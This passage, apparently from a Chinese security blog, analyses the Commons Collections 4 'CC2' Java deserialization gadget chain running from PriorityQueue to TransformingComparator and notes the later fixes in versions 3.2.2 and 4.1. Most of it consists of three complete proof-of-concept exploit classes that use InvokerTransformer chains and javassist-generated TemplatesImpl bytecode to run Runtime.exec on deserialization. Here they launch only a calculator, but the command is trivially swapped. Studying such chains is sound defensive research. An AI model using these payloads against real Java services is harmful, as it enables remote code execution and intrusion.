SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }该函数中s.defaultReadObject()调用默认的方法，利用readInt()读取了数组的大小，接着通过s.readObject()读取Queue中的元素，因为在反序列化的时候队列元素也被序列化了，接着调用heapify()方法，跟进一下@SuppressWarnings("unchecked") private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }该函数中会循环寻找最后一个非叶子节点 , 然后倒序调用 siftDown() 方法。>>>是无符号右移，将第一个操作数向右移动指定的位数。向右移动的多余位将被丢弃，零位从左侧移入，其符号位变为 0，因此其表示的结果始终为非负数。该函数将无序数组 queue 的内容还原为二叉堆( 优先级队列 )。继续跟进siftDown()方法private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }这里会判断是否拥有比较器comparator而进入不同比较逻辑。在PriorityQueue的构造方法中是否拥有比较器是可控的，这里要注意当initialCapacity的值小于1时会抛出异常，所以初始化时传入的值要大于或等于2。public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }然后跟进有比较器时调用的siftDownUsingComparator()方法@SuppressWarnings("unchecked") private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }该函数当k < half时就能进入循环，调用到比较器的compare()方法⽐较树的节点，这里half = size >>> 1且k来自heapify()的循环变量 i 其最小值为0，所以推导出size>=2，这里很容易理解，至少需要两个元素才能触发排序和比较。而size默认值是为0的，需要经过两次入队(offer)后变为2，即调用Queue#add()方法public boolean add(E e) { return offer(e); } // ... public boolean offer(E e) { if (e == null) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1); size = i + 1; // <--size的值增加 if (i == 0) queue[0] = e; else siftUp(i, e); return true; }总而言之，整个优先队列调用重写后的readObject()方法反序列化，然后反序列化队列元素，并调用heapify()方法，让队列中的元素保持优先级顺序，而排序过程就是二叉堆的树节点下移的过程，即调用siftDown()方法，并调用compare()⽅法⽐较树的节点TransformingComparatororg.apache.commons.collections4.comparators.TransformingComparator是cc2链子的尾，这个类中有调用transform()方法的函数compare()TransformingComparator是一个比较器comparator，实现了java.util.Comparator接⼝TransformingComparator调用compare方法时，就会调用传入transformer对象的transform方法public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }当ChainedTransformer对象作为参数传入时就会调用ChainedTransformer#transform反射链执行命令这就是cc2链的尾巴，之所以commons-collections3.1-3.2.1版本无法使用是因为TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口，无法被反序列化那么将比较器设置为TransformingComparator就能实现利用链调用了这条链子就是从PriorityQueue类中的readObject()方法到TransformingComparator类中的compare()方法：PriorityQueue类中的readObject()方法里面调用了heapify()，heapify()里面调用了siftDown()，siftDown()里面调用了siftDownUsingComparator，siftDownUsingComparator里面调用了comparator.compare()，就成功调用到上面TransformingComparator类中的compare()方法。POCimport java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; import java.util.Queue; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; public class CommonsCollections_2 { public static void main(String[] args) throws Exception { // 构造假Transformer数组 Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)}; Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(faketransfromer); // 将ChainedTransformer对象放入TransformingComparator对象中 Comparator comparator = new TransformingComparator(transformerChain); // initialCapacity >=2，将比较器设置为TransformingComparator Queue queue = new PriorityQueue(2, comparator); // size>=2，添加队列元素用于比较,且元素类型一致 queue.add(1); queue.add(2); // 放入真正的恶意对象 setFieldValue(transformerChain, "iTransformers", transformer); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException { Field field1 = obj.getClass().getDeclaredField(field); field1.setAccessible(true); field1.set(obj, value); } }但我们发现transient Object[] queue;变量被transient 修饰，在序列化时应该不被写入流中，但我们却能从流中反序列化queue中的元素。这是因为序列化规范允许待序列化的类实现writeObject方法，实现对自己的成员控制权：private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out element count, and any hidden stuff s.defaultWriteObject(); // Write out array length, for compatibility with 1.5 version s.writeInt(Math.max(2, size + 1)); // Write out all elements in the "proper order". for (int i = 0; i < size; i++) s.writeObject(queue[i]); }因此queue被写入到了反序列化流中，从而被readObject()在反序列化流中读取队列元素利用javassist那么我们就先利用javassist生成恶意Java字节码并填充在TemplatesImpl对象的_bytecodes属性// 创建CommonsCollections2对象，父类为AbstractTranslet，注入了payload进构造函数 ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池 classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径 CtClass payload = classPool.makeClass("CommonsCollections2"); // 创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置CommonsCollections2类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法，并插入runtime byte[] bytes = payload.toBytecode();poc:import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.util.PriorityQueue; public class Test { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; // 创建CommonsCollections2对象，父类为AbstractTranslet，注入了payload进构造函数 ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池 classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径 CtClass payload = classPool.makeClass("CommonsCollections2"); // 创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置CommonsCollections2类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法，并插入runtime byte[] bytes = payload.toBytecode(); // 通过反射注入bytes的值 Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); // 反射创建TemplatesImpl Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); // 反射获取templatesImpl的_bytecodes字段 field.setAccessible(true); field.set(templatesImpl, new byte[][]{bytes}); // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组 // 通过反射设置_name的值不为null Field field1 = templatesImpl.getClass().getDeclaredField("_name"); // 反射获取templatesImpl的_name字段 field1.setAccessible(true); field1.set(templatesImpl, "L1"); InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator comparator = new TransformingComparator(transformer); // 使用TransformingComparator修饰器传入transformer对象 // 创建PriorityQueue实例化对象，排序后使size值为2 PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field2 = queue.getClass().getDeclaredField("comparator"); // 获取PriorityQueue的comparator字段 field2.setAccessible(true); field2.set(queue, comparator); // 设置PriorityQueue的comparator字段值为comparator Field field3 = queue.getClass().getDeclaredField("queue"); // 获取PriorityQueue的queue字段 field3.setAccessible(true); field3.set(queue, new Object[]{templatesImpl, templatesImpl}); // 设置PriorityQueue的queue字段内容Object数组，内容为templatesImpl ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr.toString()); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }简单点：首先创建TemplatesImpl对象，然后创造一个人畜无害的transformer，里面随便调用一个方法就行，比如说toString，然后就和上面一样实例化TransformingComparator和PriorityQueue对象，但是这里我们得向队列中添加我们前面创建的TemplatesImpl对象，因为我们不能用数组了，所以说没办法通过ConstantTransformer把对象传进来了，⽽在Comparator#compare() 时，队列⾥的元素将作为参数传⼊transform()⽅法，这就是传给TemplatesImpl#newTransformer的参数，相当于就执行TemplatesImpl对象里的newTransformer()方法import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; import java.io.*; import java.lang.reflect.Field; import java.util.*; public class CommonsCollections2_2 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { byte[] code = Base64.getDecoder().decode("[binary]"); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "L1mbo"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString",null,null); Comparator comparator = new TransformingComparator(transformer); Queue queue = new PriorityQueue(2, comparator); queue.add(obj); queue.add(obj); setFieldValue(transformer,"iMethodName","newTransformer"); // ⽣成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }cc官方修复Apache Commons Collections官⽅在2015年底得知序列化相关的问题后，就在两个分⽀上同时发布了新的版本，4.1和3.2.2；先看3.2.2，通过diff可以发现，新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization，⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true，即默认情况下会 抛出异常。 这个检查在常⻅的危险Transformer类（InstantiateTransformer、InvokerTransformer、PrototypeFactory、CloneTransformer等的 readObject ⾥进⾏调⽤，所以，当我们反序列化包含这些对象时就会抛出⼀个异常；再看4.1，修复⽅式⼜不⼀样。4.1⾥，这⼏个危险Transformer类不再实现 Serializable 接⼝，也就是说，他们⼏个彻底⽆法序列化和反序列化了----。